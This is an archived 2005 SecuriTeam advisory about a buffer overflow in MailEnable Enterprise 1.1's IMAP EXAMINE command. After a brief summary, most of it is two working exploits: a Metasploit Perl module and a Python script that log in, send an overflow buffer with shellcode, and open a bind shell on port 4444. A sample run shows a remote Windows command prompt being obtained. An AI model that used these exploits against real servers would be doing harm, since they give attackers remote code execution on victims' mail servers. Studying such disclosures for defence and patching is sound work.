

[EXPL] Mailenable Enterprise Examine IMAP Command Buffer Overflow (2 Exploits)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00074.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 22 Dec 2005 12:40:54 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Mailenable Enterprise Examine IMAP Command Buffer Overflow (2 Exploits)

SUMMARY

" <<http://www.mailenable.com/>> MailEnable's mail server software provides a powerful, scalable hosted messaging platform for Microsoft Windows." A remotely exploitable buffer overflow in Mailenable Enterprise's IMAP handling of the EXAMINE command allows attackers to cause the server to execute arbitrary code.

DETAILS

Vulnerable Systems:

* Mailenable Enterprise version 1.1 *without* the ME-10009.EXE patch

A remote buffer overflow exists in MailEnable Enterprise IMAP EXAMINE command, which allows for post authentication code execution.

Vendor Status:

Vendor Notified, patch released.

Exploit 1:

#

[EXPL] Mailenable Enterprise Examine IMAP Command Buffer Overflow (2 Exploits)

```
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
#
```

```
package Msf::Exploit::muts_mailenable_imap_examine;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;
```

```
my $advanced = {
};
```

```
my $info = {
'Name' => 'MailEnable ENTERPRISE IMAP EXAMINE Request Buffer
Overflow',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'mati@xxxxxxxxxxxxxxxxxx' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000'],
'Priv' => 1,
```

```
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 143],
'USER' => [1, 'DATA', 'IMAP Username'],
'PASS' => [1, 'DATA', 'IMAP Password'],
},
```

```
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'Payload' =>
{
'Space' => 1021,
'BadChars' => "\x00\x0a\x0d\x20\x22",
'MinNops' => 0,
'MaxNops' => 0,
'Keys' => ['+ws2ord'],
},
```

```
'Description' => Pex::Text::Freeform(qq{
MailEnable's IMAP server contains a buffer overflow vulnerability
in the EXAMINE command. With proper credentials, this could allow
for the execution of arbitrary code.
}),
```

```
'Refs' =>
```

[EXPL] Mailenable Enterprise Examine IMAP Command Buffer Overflow (2 Exploits)

```
[
['CVE','0000'],
['BID','0000'],
['NSS','0000'],
],

'Targets' =>
[
['Windows 2004 SP4 Server English', 1021, 0x7c4e4a66 ],
],

'Keys' => ['imap'],

'DisclosureDate' => 'Dec 19 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);

return($self);
}

sub Exploit {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $user = $self->GetVar('USER');
my $pass = $self->GetVar('PASS');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$targetIndex];

my $sock = Msf::Socket::Tcp->new(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
);

if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}

my $resp = $sock->Recv(-1, 3);
chomp($resp);
$self->PrintLine('[*] Got Banner: ' . $resp);
my $sploit = "A001 LOGIN $user $pass";
$sock->Send($sploit . "\r\n");
my $resp = $sock->Recv(-1, 4);
```

[EXPL] Mailenable Enterprise Examine IMAP Command Buffer Overflow (2 Exploits)

```
if($sock->IsError) {
$self->PrintLine('Socket error: ' . $sock->GetError);
return;
}

if($resp !~ /^A001 OK/) {
$self->PrintLine('Login error: ' . $resp);
return;
}

$self->PrintLine('[*] Logged in, sending overflow...');

# Using Msf::Encoder::PexFnstenvMov with final size of 42 bytes

my $secondshellcode =
"\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c".
"\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b".
"\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30";

my $login = "A001 EXAMINE ";
my $buffer = $self->MakeNops(1021);
substr($buffer, 532, length($shellcode), $shellcode);
substr($buffer, 961, 4, "\xeb\x06\x06\xeb");
substr($buffer, 965, 4, "\x66\x4a\x4e\x7c"); # jmp ebx win200 sp4
substr($buffer, 979, 42, $secondshellcode);
print "[*] Shellcode Length : " . length($shellcode) . "\n";
my $finalbuffer = $login . $buffer;
$sock->Send($finalbuffer . "\r\n");
my $resp = $sock->Recv(-1, 4);
if(length($resp)) {
$self->PrintLine('[*] Got response, bad: ' . $resp);
}

return;
}

1;
```

Exploit 2:

```
#!/usr/bin/python
#####
#
# Remote Mailenable Enterprise 1.1 EXAMINE buffer Overflow
# Discovered and exploited by mati@xxxxxxxxxxxxxxxxxx
# This vulnerability affects Mailenable Enterprise 1.1
# *without* the ME-10009.EXE patch.
#
# Details:
# * SEH gets overwritten at 965 (968 in VMWare) bytes in the EXAMINE
command.
# * Filtering of 0x00 0x0a 0x0d 0x20 0x22
```

[EXPL] Mailenable Enterprise Examine IMAP Command Buffer Overflow (2 Exploits)

```
# * No space for shellcode, so 1st stage shellcode is used to
# jump back 512 bytes into the bindshell (2nd stage) shellcode.
#
# Thanks:
# * My wife – for putting up with my obsessions
# * Talz – for helping me out with the 1st stage shellcode
#
# FOR EDUCATION PURPOSES ONLY!
#####
# 1st stage shellcode:
#####
# [BITS 32]
#
# global _start
#
# _start:
#
# ;--- Taken from phrack #62 Article 7 Originally written by Aaron Adams
#
# ;--- copy eip into ecx
# fldz
# fstenv [esp-12]
# pop ecx
# add cl, 10
# nop
# ;-----
# dec ch ; ecx=-256;
# dec ch ; ecx=-256;
# jmp ecx ; lets jmp ecx (current location - 512)
#####
# root@muts:/tmp# ./final.py 192.168.1.160 143 ftp ftp
#
# MailEnable Enterprise 1.1 IMAP EXAMINE Overflow – Pre ME-10009.EXE
Patch.
# Discovered / Coded by mati@xxxxxxxxxxxxxxxxxx
#
# [+] Connecting to 192.168.1.160
# [+] * OK IMAP4rev1 server ready at 12/19/05 15:29:06
# [+] Logging in as ftp
# [+] a001 OK LOGIN completed
# [+] Sending evil buffer...
# [+] Done
#
# [+] Try connecting to port 4444 on victim IP – Muhahaha!
#
# root@slax:/tmp# nc -nv 192.168.1.160 4444
# (UNKNOWN) [192.168.1.160] 4444 (krb524) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985–2000 Microsoft Corp.
#
# C:\WINNT\system32>
```

[EXPL] Mailenable Enterprise Examine IMAP Command Buffer Overflow (2 Exploits)

```
#####
```

```
import sys
import struct
import socket
from time import sleep
```

```
if len(sys.argv)!=5:
print "\nMailEnable Enterprise 1.1 IMAP EXAMINE Overflow – Pre ME–10009
Patch."
print "\nDiscovered / Coded by mati@xxxxxxxxxxxxxxxx\n"
print "Usage: %s <ip> <port> <user> <pass>\n" %sys.argv[0]
sys.exit(0)
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
# Return Address – Win2k SP4 jmp ebx
returnaddress = "\x66\x4a\x4e\x7c"
```

```
# Using Msf::Encoder::PexFnstenvMov with final size of 42 bytes
# First Stage Shellcode
```

```
sc = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c"
sc += "\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b"
sc += "\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30"
```

```
# win32_bind – EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub
http://metasploit.com
# Second Stage Shellcode
```

```
sc2 = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfa"
sc2 += "\xa8\xc8\x2a\x83\xeb\xfc\xe2\xf4\x06\xc2\x23\x67\x12\x51\x37\xd5"
sc2 += "\x05\xc8\x43\x46\xde\x8c\x43\x6f\xc6\x23\xb4\x2f\x82\xa9\x27\xa1"
sc2 += "\xb5\xb0\x43\x75\xda\xa9\x23\x63\x71\x9c\x43\x2b\x14\x99\x08\xb3"
sc2 += "\x56\x2c\x08\x5e\xfd\x69\x02\x27\xfb\x6a\x23\xde\xc1\xfc\xec\x02"
sc2 += "\x8f\x4d\x43\x75\xde\xa9\x23\x4c\x71\xa4\x83\xa1\xa5\xb4\xc9\xc1"
sc2 += "\xf9\x84\x43\xa3\x96\x8c\xd4\x4b\x39\x99\x13\x4e\x71\xeb\xf8\xa1"
sc2 += "\xba\xa4\x43\x5a\xe6\x05\x43\x6a\xf2\xf6\xa0\xa4\xb4\xa6\x24\x7a"
sc2 += "\x05\x7e\xae\x79\x9c\xc0\xfb\x18\x92\xdf\xbb\x18\xa5\xfc\x37\xfa"
sc2 += "\x92\x63\x25\xd6\xc1\xf8\x37\xfc\xa5\x21\x2d\x4c\x7b\x45\xc0\x28"
sc2 += "\xaf\xc2\xca\xd5\x2a\xc0\x11\x23\x0f\x05\x9f\xd5\x2c\xfb\x9b\x79"
sc2 += "\xa9\xfb\x8b\x79\xb9\xfb\x37\xfa\x9c\xc0\xd9\x76\x9c\xfb\x41\xcb"
sc2 += "\x6f\xc0\x6c\x30\x8a\x6f\x9f\xd5\x2c\xc2\xd8\x7b\xaf\x57\x18\x42"
sc2 += "\x5e\x05\xe6\xc3\xad\x57\x1e\x79\xaf\x57\x18\x42\x1f\xe1\x4e\x63"
sc2 += "\xad\x57\x1e\x7a\xae\xfc\x9d\xd5\x2a\x3b\xa0\xcd\x83\x6e\xb1\x7d"
sc2 += "\x05\x7e\x9d\xd5\x2a\xce\xa2\x4e\x9c\xc0\xab\x47\x73\x4d\xa2\x7a"
sc2 += "\xa3\x81\x04\xa3\x1d\xc2\x8c\xa3\x18\x99\x08\xd9\x50\x56\x8a\x07"
sc2 += "\x04\xea\xe4\xb9\x77\xd2\xf0\x81\x51\x03\xa0\x58\x04\x1b\xde\xd5"
sc2 += "\x8f\xec\x37\xfc\xa1\xff\x9a\x7b\xab\xf9\xa2\x2b\xab\xf9\x9d\x7b"
sc2 += "\x05\x78\xa0\x87\x23\xad\x06\x79\x05\x7e\xa2\xd5\x05\x9f\x37\xfa"
sc2 += "\x71\xff\x34\xa9\x3e\xcc\x37\xfc\xa8\x57\x18\x42\x15\x66\x28\x4a"
```

[EXPL] Mailenable Enterprise Examine IMAP Command Buffer Overflow (2 Exploits)

```
sc2 += "\xa9\x57\xe\x1e\xd5\x2a\xa8\xc8\x2a"

buffer = "\x90"*568 + sc2 + "\x90"*53 + returnaddress + "\xEB\x04" +
"\x90"*4 + sc

print "\nMailEnable Enterprise 1.1 IMAP EXAMINE Overflow – Pre
ME-10009.EXE Patch."
print "Discovered / Coded by mati@xxxxxxxxxxxxxxxx\n"
print "[+] Connecting to " + sys.argv[1]
try:
s.connect((sys.argv[1],int(sys.argv[2])))
except:
print "Could not connect to IMAP server!"
sys.exit(0)

data=s.recv(1024)
print "[+] "+data.rstrip()
print "[+] Logging in as %s" % sys.argv[3]
s.send('a001 LOGIN '+sys.argv[3]+' '+sys.argv[4]+'r\n')
data = s.recv(1024)
print "[+] "+data.rstrip()
print "[+] Sending evil buffer..."
s.send('A001 EXAMINE ' + buffer+'r\n')
s.close()
print "[+] Done\n"
print "[+] Try connecting to port 4444 on victim IP – Muhahaha!\n"
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:muts@xxxxxxxxxxxx>> muts.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- Prev by Date: [*\[EXPL\] Macromedia Flash Media Server DoS \(Exploit, Single Character\)*](#)
- Next by Date: [*\[UNIX\] elogd mode and cmd Buffer Overflows*](#)
- Previous by thread: [*\[EXPL\] Macromedia Flash Media Server DoS \(Exploit, Single Character\)*](#)
- Next by thread: [*\[UNIX\] elogd mode and cmd Buffer Overflows*](#)
- Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)